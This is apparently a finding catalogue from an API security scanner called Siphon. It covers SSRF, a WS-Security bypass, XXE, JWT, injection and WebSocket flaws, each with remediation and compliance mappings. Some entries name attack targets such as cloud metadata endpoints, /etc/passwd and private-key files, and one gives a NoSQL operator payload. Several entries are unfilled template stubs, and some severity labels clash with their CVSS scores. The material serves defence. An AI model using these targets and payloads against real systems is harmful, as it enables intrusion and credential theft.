Description: Siphon detected that the SOAP API accepts WS-Addressing headers (wsa:ReplyTo or wsa:FaultTo) containing attacker-controlled URLs and the server makes outbound requests to those addresses when processing the response or fault dispatch. WS-Addressing is a SOAP standard that specifies where reply messages and fault messages should be delivered; when the server honours arbitrary external URLs in these headers it is trivially exploitable as a Server-Side Request Forgery vector. An attacker can direct the server to fetch arbitrary internal or external resources, probe internal network services not exposed to the internet, access cloud metadata endpoints (e.g., 169.254.169.254/latest/meta-data/), or exfiltrate responses to an attacker-controlled listener. Because the SSRF originates from the server's network context it can bypass perimeter firewalls and reach services that are otherwise unreachable from the public internet.
Remediation: Validate the wsa:ReplyTo and wsa:FaultTo endpoint addresses against a strict allowlist of permitted destinations before dispatching any outbound message. Block all private IP ranges (RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), and link-local (169.254.0.0/16) addresses at the HTTP client layer. Prefer an asynchronous reply model where responses are delivered over the same connection rather than via caller-supplied endpoints. If WS-Addressing reply-to support is not a business requirement, disable the feature entirely in the SOAP stack configuration.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10, CA-9, SC-7
PCI DSS 4: 6.2.4
CRITICAL SI-103 — WS-Security Bypass — Expired Timestamp / Empty PasswordDigest Accepted
Description: Siphon confirmed that the SOAP API's WS-Security implementation accepts messages that fail one or more fundamental authentication checks: messages with an expired wsse:Timestamp (indicating the server does not enforce replay-window validation), or messages with an empty or null wsse:PasswordDigest value (indicating the server does not validate the digest against the password and nonce). WS-Security timestamps are designed to limit the window in which a captured SOAP message can be replayed; a server that ignores expiry allows indefinite replay of any intercepted authenticated message. An empty PasswordDigest acceptance means authentication can be bypassed by sending any username with an empty credential field, granting unauthenticated access to all API operations.
Remediation: Enforce strict WS-Security timestamp validation with a replay window of no more than 5 minutes and reject all messages whose wsu:Expires has elapsed. Validate the PasswordDigest using the correct formula: Base64(SHA-1(Nonce + Created + Password)); reject any message where the computed digest does not match the submitted value. Reject messages with null, empty, or malformed PasswordDigest values before any business logic is invoked. Maintain a server-side nonce cache to detect and reject replayed nonces within the allowed replay window.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion), T1556 (Credential Access)
NIST 800-53: IA-5, SC-8, AC-17
PCI DSS 4: 8.3.6, 4.2.1
MEDIUM SI-104 — WSDL Enumeration — Service Definition Exposed
Description: Siphon retrieved the WSDL (Web Services Description Language) document for the SOAP service without authentication. A WSDL file is a machine-readable contract that fully describes every operation exposed by the service, including operation names, input/output message schemas, data types, binding protocols, and the service endpoint URLs. Exposure of the WSDL dramatically reduces the effort required for an attacker to enumerate all available operations, craft valid SOAP requests, and systematically test each operation for injection, authentication bypass, or business logic vulnerabilities. In many cases the WSDL also reveals internal naming conventions, data structure field names, and undocumented operations.
Remediation: Restrict access to the WSDL document by requiring authentication before serving the ?wsdl or ?WSDL query parameter response. If the WSDL must be publicly accessible for integration purposes, ensure it does not reference internal-only operations or schema types. Consider maintaining a separate external-facing WSDL that exposes only public operations. At minimum, monitor access to the WSDL endpoint and alert on high-frequency enumeration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, CM-6, RA-5
PCI DSS 4: 6.2.4
HIGH SI-105 — Unsafe API Consumption — Webhook URL Accepted (SSRF Risk)
Description: Siphon confirmed that the API accepts a caller-supplied URL in a webhook registration or callback parameter and the server makes outbound HTTP requests to that URL without validating it against a safe destination allowlist. This constitutes a Server-Side Request Forgery (SSRF) vulnerability where an attacker can cause the API server to fetch arbitrary internal resources, probe internal network topology, query cloud instance metadata endpoints (e.g., AWS 169.254.169.254, GCP metadata.google.internal), or exfiltrate sensitive environment data to an external listener. SSRF via webhook URLs is particularly impactful because the server's outbound request carries the server's own network identity and may reach services that are inaccessible from the public internet.
Remediation: Validate all webhook and callback URLs against a strict allowlist of permitted schemes (HTTPS only), domain suffixes, and IP ranges before any outbound connection is made. Block requests to private IP ranges (RFC 1918), loopback addresses, link-local ranges, and cloud metadata IP addresses at the HTTP client layer. Perform DNS resolution server-side and verify the resolved IP is not in a blocked range (DNS rebinding defence). If external webhook delivery is a feature requirement, perform an initial probe of the URL before registering it and enforce a retry-limit with exponential backoff.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
MITRE ATT&CK: T1090.002 (Command and Control)
NIST 800-53: SI-10, SC-7, CA-9
PCI DSS 4: 6.2.4
MEDIUM SI-106 — Unsafe API Consumption — Open Redirect to External URL
Description: Siphon confirmed an open redirect vulnerability where a URL-type parameter accepted by the API is used to construct a redirect response (HTTP 301, 302, or 307) to an arbitrary external destination without validation. An attacker can craft a link to the legitimate API domain with a manipulated redirect parameter pointing to a malicious site, causing a victim who clicks the link to be redirected to an attacker-controlled page. Open redirects are frequently exploited in phishing campaigns because the initial URL appears to belong to a trusted domain, bypassing browser and email security warnings. They can also be chained with SSRF vulnerabilities and OAuth redirect_uri bypass attacks.
Remediation: Validate all redirect target URLs against an allowlist of permitted destination origins before issuing a redirect response. If redirect functionality is required, use indirect references (e.g., opaque tokens mapped to trusted URLs server-side) rather than accepting raw URLs from user input. Never reflect an unvalidated URL from a request parameter directly into a Location response header. Audit all API endpoints that issue redirect responses and confirm each performs origin validation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-107 — Unsafe API Consumption — Serialization Markers in Response
Description: Siphon detected serialization markers in the API response body that indicate the application is transmitting serialized objects across the API boundary. Language-native serialization formats identified may include Java serialized objects (magic bytes 0xAC 0xED), Python pickle data, PHP serialization syntax (O:, a:, s:), Ruby Marshal data, .NET BinaryFormatter output, or YAML/XML with type annotations. If a downstream service or client deserializes this data without validation, an attacker who can influence the serialized content may be able to trigger gadget chain execution, leading to remote code execution, denial-of-service, or authentication bypass. Even read-only exposure of serialized objects leaks internal class names, field names, and object graph structure.
Remediation: Replace language-native serialization with a data-format-neutral representation (JSON, Protobuf, MessagePack) for all data transmitted across API boundaries. If serialization is required, implement a strict type allowlist in the deserializer so only expected types can be instantiated. Sign all serialized payloads with a server-side HMAC and verify the signature before deserialization to detect tampering. Audit all API response bodies for serialization format markers and eliminate unnecessary exposure of internal object representations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A08:2021 Software and Data Integrity Failures
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL SI-108 — Weak JWT Secret
Description: Siphon identified that the HMAC secret used to sign JWTs is weak — matching a known default value, a short string, a dictionary word, or a low-entropy pattern detectable through analysis of the token structure. A weak HMAC signing secret is susceptible to offline brute-force and dictionary attacks: once a valid JWT is obtained, an attacker can recover the secret using tools such as hashcat or jwt-cracker without any further server interaction. With the recovered secret, the attacker can forge arbitrary JWTs with any claims including elevated roles, alternative subject identifiers, or extended expiry, achieving complete authentication bypass and horizontal or vertical privilege escalation.
Remediation: Immediately rotate the JWT signing secret. Generate the new secret using a cryptographically secure random number generator (os.urandom, /dev/urandom, or an HSM) with a minimum of 256 bits of entropy. Do not use human-readable strings, environment variable defaults, or framework placeholder values as signing secrets. Store the secret in a secrets management system (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager) rather than in configuration files or environment variables committed to source control. Consider migrating to asymmetric signing (RS256, ES256) to eliminate the shared-secret risk model entirely.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.6
HIGH SI-109 — Sensitive File Exposed
Description: Siphon discovered that the API server exposes a sensitive file at a publicly accessible path without authentication. Sensitive files commonly exposed through API or web server misconfigurations include environment files (.env, .env.production), backup archives (.bak, .zip, .tar.gz), configuration files (config.yml, database.yml, settings.py, web.config), source code repositories (.git/config, .svn/entries), private keys and certificates (.pem, .key, id_rsa), dependency lock files (package-lock.json, Gemfile.lock), and development credentials. Exposure of these files can directly reveal database credentials, API keys, internal hostnames, cryptographic material, and application source code, enabling further targeted attacks against the system.
Remediation: Remove all sensitive files from any directory served by the web or API server. Configure the server to return 403 or 404 for known sensitive file extensions and paths (.env, .git, .bak, .key, .pem). Implement a server-level allowlist of permitted static file types rather than a denylist. Audit the API server's document root and all static directories for sensitive file exposure using automated tools. Ensure deployment pipelines do not copy development configuration files, credentials, or version control metadata to production server directories.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 3.4.1
CRITICAL SI-110 — XML External Entity (XXE) Injection in API
Description: Siphon confirmed an XML External Entity (XXE) injection vulnerability where the API accepts XML input and the underlying XML parser processes external entity declarations (DOCTYPE / ENTITY). An attacker can inject an XXE payload that causes the parser to read arbitrary local files from the server filesystem (e.g., /etc/passwd, /etc/shadow, application configuration and credential files) and include their contents in the response. Out-of-band XXE can exfiltrate file contents to an attacker-controlled DNS or HTTP endpoint even when the response does not directly reflect the file. In some configurations XXE enables SSRF against internal services, denial-of-service via billion-laughs entity expansion, and remote code execution via certain XML parser features.
Remediation: Disable external entity processing and DTD processing entirely in the XML parser configuration. In Java, set XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES and XMLInputFactory.SUPPORT_DTD to false. In Python, use defusedxml instead of the standard library xml module. In PHP, call libxml_disable_entity_loader(true) before parsing. If XML with DTD is a business requirement, use a parser that supports a safe whitelist of entity definitions and blocks all external references. Migrate XML-based APIs to JSON where possible to eliminate the XXE attack surface.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
MEDIUM SI-111 — HTTP Methods: Unsafe Methods Enabled
Description: Siphon confirmed that the HTTP TRACE method is enabled on the API server or a specific endpoint. The TRACE method is a diagnostic tool that echoes the received request back to the client, including all request headers. Cross-Site Tracing (XST) is a technique where an attacker combines TRACE with a browser-based XSS or cross-origin request to cause the victim's browser to send a TRACE request, with the echoed response — including HttpOnly cookies and Authorization headers — readable by the attacker's JavaScript. While modern browsers and XHR implementations largely block TRACE, the method's presence indicates insufficient HTTP method restriction and may expose headers through non-browser clients or misconfigured proxies.
Remediation: Disable the HTTP TRACE method in the web server configuration. In Apache, add TraceEnable off to the server configuration. In Nginx, block TRACE with a location block returning 405. In IIS, use the requestFiltering module to block the TRACE verb. At the API gateway or WAF level, configure an HTTP method allowlist restricted to the methods the API explicitly uses (typically GET, POST, PUT, PATCH, DELETE, OPTIONS). Verify the fix with a direct TRACE request confirming a 405 Method Not Allowed response.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM SI-112 — HTTP Method Override Accepted
Description: Siphon confirmed that the API honours HTTP method override headers (X-HTTP-Method-Override, X-Method-Override, X-HTTP-Method, _method) or body parameters that instruct the server to treat an incoming request as a different HTTP method. This behaviour was observed for methods beyond the DELETE-via-POST case, including PUT, PATCH, or other privileged methods. If the API applies access controls at the routing layer based on the HTTP transport method rather than the effective (overridden) method, an attacker can bypass method-based authorization by tunnelling privileged operations through a permitted method. Method override can also be used to invoke methods that are otherwise rejected at the network or firewall layer.
Remediation: Disable HTTP method override support globally unless there is a specific and documented requirement for it, such as supporting legacy clients that cannot send PUT or DELETE. If method override must be retained, enforce that authorization controls are applied based on the effective overridden method, not the transport method. Restrict the set of methods that can be overridden to a minimal allowlist. Log all method override usage and alert on anomalous patterns. At the API gateway, block or audit requests that use method override headers on sensitive endpoints.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
HIGH SI-113 — Unauthenticated Access to Endpoint
Description: Siphon confirmed that an API endpoint which is expected to require authentication returns a successful non-error response to an unauthenticated request (one containing no Authorization header, no session cookie, and no API key). The endpoint may return data belonging to a specific user, return aggregate data, or perform operations that should require an authenticated context. Unlike a complete authentication enforcement absence (SI-083), this finding may affect a subset of endpoints or specific HTTP methods where the authentication middleware is missing or bypassed. Unauthenticated access to any endpoint that handles user data or performs state-changing operations represents a direct breach of the application's security model.
Remediation: Apply authentication middleware as a mandatory, default requirement on all API routes. Adopt a secure-by-default posture where every new route requires explicit opt-out from authentication rather than opt-in. Audit all API routes for endpoints that return 2xx responses to requests without valid credentials. Perform automated regression testing that asserts all non-public endpoints return 401 or 403 when called without authentication. Remove any route-specific authentication bypass rules that are not essential for publicly documented anonymous functionality.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-114 — Missing Rate Limit on Sensitive Endpoint
Description: Siphon confirmed that an API endpoint handling a sensitive operation — such as authentication, password reset, OTP validation, account recovery, or payment processing — does not enforce any rate limiting on incoming requests. While general rate limiting may be absent across all endpoints, the absence of rate limiting specifically on sensitive endpoints is higher-severity because these endpoints are primary targets for brute-force credential attacks, account enumeration, OTP bypass, and API abuse. An attacker can issue unlimited automated requests against these endpoints without encountering any throttling, lockout, or challenge mechanism.
Remediation: Implement strict, dedicated rate limiting on all sensitive API endpoints, independent of any global rate limiting policy. Authentication endpoints should enforce per-IP limits (e.g., 5 attempts per minute) combined with per-account limits (e.g., 10 attempts per 15 minutes) with exponential backoff and account lockout or CAPTCHA challenge after threshold breach. OTP and password reset endpoints should enforce single-use token policies and short validity windows in addition to request rate limits. Return 429 Too Many Requests with a Retry-After header when limits are exceeded. Monitor sensitive endpoint access patterns for burst anomalies.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MITRE ATT&CK: T1499 (Impact)
NIST 800-53: SC-5, CM-6
PCI DSS 4: 6.2.4
INFO SI-115 — CORS Wildcard (*) Detected
Description: Siphon detected that the API responds with Access-Control-Allow-Origin: * on one or more endpoints. A wildcard CORS policy permits any origin to read responses from cross-origin requests made without credentials. While browsers enforce that credentialed requests (those sending cookies or Authorization headers) cannot be used with a wildcard origin, non-credentialed responses are still readable by any cross-origin JavaScript. This is informational for truly public API endpoints, but becomes a vulnerability if the endpoint returns semi-sensitive data (API schema details, user-agnostic configuration, analytics), is intended to be restricted by origin, or is accessible using bearer tokens passed in headers (which are treated as credentials and blocked, but may be overlooked in custom implementations).
Remediation: Review whether the wildcard CORS policy is intentional and appropriate for each affected endpoint. For public endpoints returning only non-sensitive, non-authenticated data, a wildcard is acceptable. For endpoints returning any data that should be origin-restricted, replace the wildcard with an explicit origin allowlist. Ensure that no endpoint combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true exists (this combination is invalid per spec and indicates misconfiguration). Document the CORS policy for each API endpoint as part of the API security specification.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
INFO SI-116 — HTTP Method Override Accepted — {override_method} via {override_hdr}
INFO SI-117 — Mass Assignment — {attack_label.title()} Accepted
INFO SI-118 — Sensitive File Exposed: {fpath}
INFO SI-119 — Wildcard (*) Detected: {base_url}
INFO SI-120 — Broken Object Level Authorization (IDOR / BOLA)
Remediation: Enforce per-request object ownership validation. Do not trust client-supplied object IDs without authorization checks. Use UUIDs and validate ownership against the authenticated user's context.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
INFO SI-121 — CORS Misconfiguration Allowing Credential Leakage
Remediation: Restrict CORS to explicitly defined, trusted origins. Never use wildcard (*) with credentials. Validate the Origin header against a server-side allowlist.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: CM-6, SC-8
PCI DSS 4: 6.2.4
INFO SI-122 — CRLF Injection
Remediation: Strip or encode carriage return (\r, %0d) and line feed (\n, %0a) characters from all user-supplied data before it is written into HTTP response headers. Use framework-provided header APIs rather than manual string construction. Apply input validation as a secondary layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1539 (Collection)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4, 6.5.1
INFO SI-123 — JWT Algorithm Confusion Attack (RS256 → HS256)
INFO SI-124 — JWT None Algorithm Authentication Bypass
Remediation: Reject JWTs with 'none' algorithm. Explicitly whitelist accepted algorithms (HS256 or RS256). Validate the 'alg' header server-side before verifying the signature.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
INFO SI-125 — LDAP Injection
Remediation: Escape all special characters in LDAP queries. Use parameterized LDAP APIs. Validate input against a strict allowlist before passing to directory queries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
INFO SI-126 — Mass Assignment / Privilege Escalation via Parameter Binding
Impact: Automatic request-to-model binding lets an attacker set privileged or internal fields (e.g. role, is_admin, account_id) that are not part of the intended input, achieving privilege escalation or cross-account data manipulation without any other vulnerability.
Remediation: Use explicit allowlists (DTOs) to control which fields can be bound from requests. Never bind internal/privileged fields (isAdmin, role, credit) from user input directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
INFO SI-127 — NoSQL Injection
Remediation: Sanitize and validate all input before passing to NoSQL query constructors. Use ODM libraries that enforce typed queries. Restrict MongoDB operators ($where, $regex) in user-supplied data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
INFO SI-128 — OS Command Injection
Remediation: Avoid passing user input to OS commands. Use safe APIs that do not invoke shells. If shell is unavoidable, validate against a strict allowlist and escape all metacharacters.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
INFO SI-129 — Path Traversal / Local File Inclusion
Remediation: Canonicalize file paths and validate against an allowed base directory. Use chroot jails. Never allow user input to determine file paths directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL SI-130 — SQL Injection (Error-Based)
Description: Siphon observed a database error message in the response after injecting SQL metacharacters into a parameter, indicating that user input is concatenated into SQL statements without parameterisation (error-based SQL injection).
Impact: An attacker can read, modify or delete arbitrary database contents, bypass authentication, and in many configurations escalate to file-system access or command execution on the database host. Error-based injection also discloses schema details that accelerate full database compromise.
Remediation: Use parameterised queries / prepared statements for all database access; never build SQL by string concatenation of user input, and suppress database error detail in production responses.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
INFO SI-131 — Unsafe Consumption — Open Redirect to External URL
Remediation: Validate redirect destinations against a server-side allowlist. Avoid using user-supplied values as redirect targets. Use indirect mapping for permitted redirect targets.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2021 – Broken Access Control
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
INFO SI-132 — Unsafe Consumption — Serialization Markers in API Response
Remediation: Do not deserialize data from third-party API responses without type validation. Avoid consuming Java serialized objects or pickle streams from external sources. If serialized data must be processed, implement integrity checks, use allowlist-based deserializers, and run deserialization in sandboxed environments with restricted class loading.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
OWASP API: API10:2023 – Unsafe Consumption of APIs
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
INFO SI-133 — Weak or Default Credentials Accepted
Remediation: Change all default credentials immediately on deployment. Enforce password change on first login. Maintain an asset inventory to track devices/services with known default credentials.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
INFO SI-134 — XML External Entity (XXE) Injection
Remediation: Disable XML external entity processing in all XML parsers. Use less complex data formats such as JSON. Patch or upgrade all XML processors and libraries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
LOW SI-135 — Enumerated Parameter Value Restriction Not Enforced
Description: An API parameter that declares a fixed set of allowed (enumerated) values accepted a value outside that set instead of rejecting it, indicating that server-side validation of the parameter is missing or relies solely on the client/specification.
Impact: Missing enforcement of declared value constraints lets an attacker submit unexpected values that the application's business logic never anticipated, which can drive it into unhandled states, bypass workflow restrictions, or reach code paths intended only for specific enumerated options. On its own the impact is usually low, but it is a reliable building block for more serious logic and access-control abuse.
Remediation: Validate every parameter server-side against its declared allowed value set and reject unknown values with HTTP 400; never rely on client-side or specification-only enforcement.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
LOW SI-136 — Numeric Parameter Boundary Not Enforced
Description: A numeric API parameter that declares minimum/maximum bounds accepted a value far outside the declared range instead of rejecting it, indicating missing server-side range validation.
Impact: Unbounded numeric input can cause integer overflow, excessive resource allocation (e.g. huge page sizes or quantities), pricing/quantity manipulation in business flows, or denial of service. The acceptance itself is low severity but frequently underpins resource-exhaustion and business-logic attacks.
Remediation: Enforce declared minimum/maximum (and length) constraints on numeric parameters server-side and reject out-of-range values.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-137 — Parameter Type Confusion Accepted
Description: A parameter declared as a scalar type (string/number/boolean) accepted a structurally different JSON type (an array or object) without rejection, indicating the API does not enforce the JSON type of its inputs.
Impact: Type confusion lets an attacker substitute arrays or objects where scalars are expected, which is a primary vector for NoSQL operator injection (e.g. {"$ne": null}), authentication bypass via type juggling, and application logic errors that can corrupt data or escalate privileges depending on how the value is consumed downstream.
Remediation: Enforce strict type validation on every input: reject values whose JSON type does not match the declared schema type, and use schema validators (e.g. JSON Schema / Pydantic) at the API boundary.
Effort: Moderate
OWASP API: API8:2023 Security Misconfiguration
LOW SI-138 — HTTP Parameter Pollution
Description: The API accepted duplicate occurrences of the same query parameter and the response differed from the single-value baseline, indicating ambiguous or inconsistent handling of repeated parameters across the application stack.
Impact: Inconsistent duplicate-parameter handling between front-end proxies/WAFs and the backend lets an attacker smuggle a second value past input filtering or access-control checks (e.g. one component validates the first occurrence while another uses the last), enabling filter/WAF bypass, authorization confusion, and tainted input reaching sensitive sinks.
Remediation: Define deterministic handling for duplicate parameters at every layer; reject or canonicalise repeated keys and perform validation only after canonicalisation.
Effort: Moderate
OWASP API: API8:2023 Security Misconfiguration
LOW SI-139 — Content-Type Confusion — Alternate Body Format Accepted
Description: An endpoint documented to consume JSON also accepted a request body in an alternate format (form-urlencoded), showing that the server does not enforce the declared request media type.
Impact: Accepting multiple body formats creates a parser-differential surface: validation, authentication, or WAF rules that only inspect the expected format can be bypassed by submitting an equivalent request in another format, and form-encoded acceptance can re-enable CSRF against otherwise JSON-only (CSRF-immune) endpoints.
Remediation: Enforce the expected Content-Type for each endpoint and reject requests whose body media type does not match the declared one.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-140 — Unbounded Resource Consumption via Pagination Parameter
Description: A pagination-style parameter (e.g. limit / page_size / count) accepted an extreme value and the API returned a materially larger result set, demonstrating that result-set size is not capped server-side.
Impact: Uncapped result sizes let an attacker force the API to assemble and serialise very large responses, exhausting database, memory, CPU and bandwidth resources and degrading or denying service for other users at low attacker cost; it also amplifies data-exfiltration when combined with broken object-level authorization.
Remediation: Enforce a server-side maximum page size / result-set cap that is applied regardless of the client-supplied value, and return a 400 (or clamp) when the requested size exceeds it.
Effort: Moderate
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-141 — Insecure WebSocket Transport (Unencrypted ws://)
Description: A WebSocket endpoint is served over unencrypted ws:// rather than wss://, so all frames are transmitted in cleartext.
Impact: An attacker on the network path can read and tamper with WebSocket messages, including authentication tokens and session data carried on the socket, enabling session hijacking and message injection.
Remediation: Serve all WebSocket endpoints over wss:// (TLS) and redirect/deny ws:// connections.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-142 — WebSocket Handshake Accepts Arbitrary Origin (CSWSH Risk)
Description: The WebSocket handshake completed with an attacker-controlled Origin header and without credentials, indicating the server does not validate the Origin during the upgrade.
Impact: If the socket is authenticated via cookies, a malicious web page can open an authenticated WebSocket to the target on the victim's behalf (Cross-Site WebSocket Hijacking), reading and sending messages as the victim and exfiltrating data or performing privileged actions.
Remediation: Validate the Origin header against a strict allowlist during the handshake and require a session-bound authentication token rather than relying on ambient cookies.
Effort: Moderate
OWASP API: API2:2023 Broken Authentication
MEDIUM SI-143 — Unauthenticated Server-Sent Events (SSE) Stream
Description: A Server-Sent Events stream (text/event-stream) is accessible without authentication.
Impact: SSE streams commonly push user- or tenant-scoped events in real time; unauthenticated access leaks live data (notifications, records, presence) to any anonymous client and can disclose cross-tenant information.
Remediation: Require authentication and per-subscriber authorization before establishing an event stream.
Effort: Easy
OWASP API: API2:2023 Broken Authentication
LOW SI-144 — Server-Sent Events Stream Over Cleartext HTTP
Description: A Server-Sent Events stream is served over cleartext http:// rather than https://.
Impact: Pushed events traverse the network in cleartext and can be intercepted or modified by a network attacker, exposing real-time data and enabling injection of forged events.
